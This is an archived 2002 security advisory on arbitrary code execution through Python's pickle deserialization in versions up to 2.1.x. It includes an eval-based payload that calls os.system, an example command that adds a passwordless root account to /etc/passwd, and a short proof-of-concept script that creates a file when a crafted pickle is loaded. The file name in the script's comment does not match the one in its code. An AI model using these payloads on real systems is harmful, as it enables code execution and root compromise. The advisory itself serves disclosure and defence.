17th Jul 2002 [SBWID-5542]
COMMAND
Pyhton language \'pickle\' primitive exploit
SYSTEMS AFFECTED
Python versions <= 2.1.x
PROBLEM
Jeff Epler [http://unpythonic.net/~jepler/] says :
Pickle is the name of a Python module for object persistence. It can
convert arbitrary Python objects into byte streams and back. Though the
documentation for Python 1.5.2 read :
The pickle module doesn\'t handle code objects, which the marshal
module does. I suppose pickle could, and maybe it should, but there\'s
probably no great need for it right now (as long as marshal continues
to be used for reading and writing code objects), and at least this
avoids the possibility of smuggling Trojan horses into a program.
it was always generally considered that a carefully-crafted \"pickle\"
could execute arbitrary code.
In Python 2.0, one hole was closed which was due to the use of eval()
to unpickle a string. This hole could be exploited with a pickle string
like
\"S\'\'*__import__(\'os\').system(\'echo 0wn3d\')\\np0\\n.\"
In Python version 2.2, a new restriction was added to unpickling of
instances: when unpickle would have called a constructor, the class
must define an attribute __safe_for_unpickling__ with a true value, or
an exception will be raised. Because a \"class constructor\" is simply
a callable object, a pickle can be written that names any function and
gives it arbitrary arguments. Thus, a specially crafted pickle might
contain the instruction instantiate the class os.system with the
argument
\"echo r00t::0:0::/:/bin/sh >> /etc/passwd\"
Many major Linux distributions still ship with Python 1.5.2, which is
vulnerable to both of these types of exploits. Some ship with 2.0 or
2.1, usually in addition to 1.5.2. These versions are vulnerable to the
second type of exploit. I don\'t know of a Linux distribution which
ships with only python 2.2, which is free from both these problems.
However, I know of no particular uses that lead to a direct security
breach.
\"\"\"
import pickle, new
def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {
\'__getinitargs__\': lambda self, arg = args: arg,
\'__module__\': module
}) ())
# Create the evil pickle
t = nasty(\"__builtin__\", \"open\", \"/tmp/pickle-bug\", \"w\")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception. But the damage is
# done...
pickle.loads(t)
SOLUTION
Update to python 2.2
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH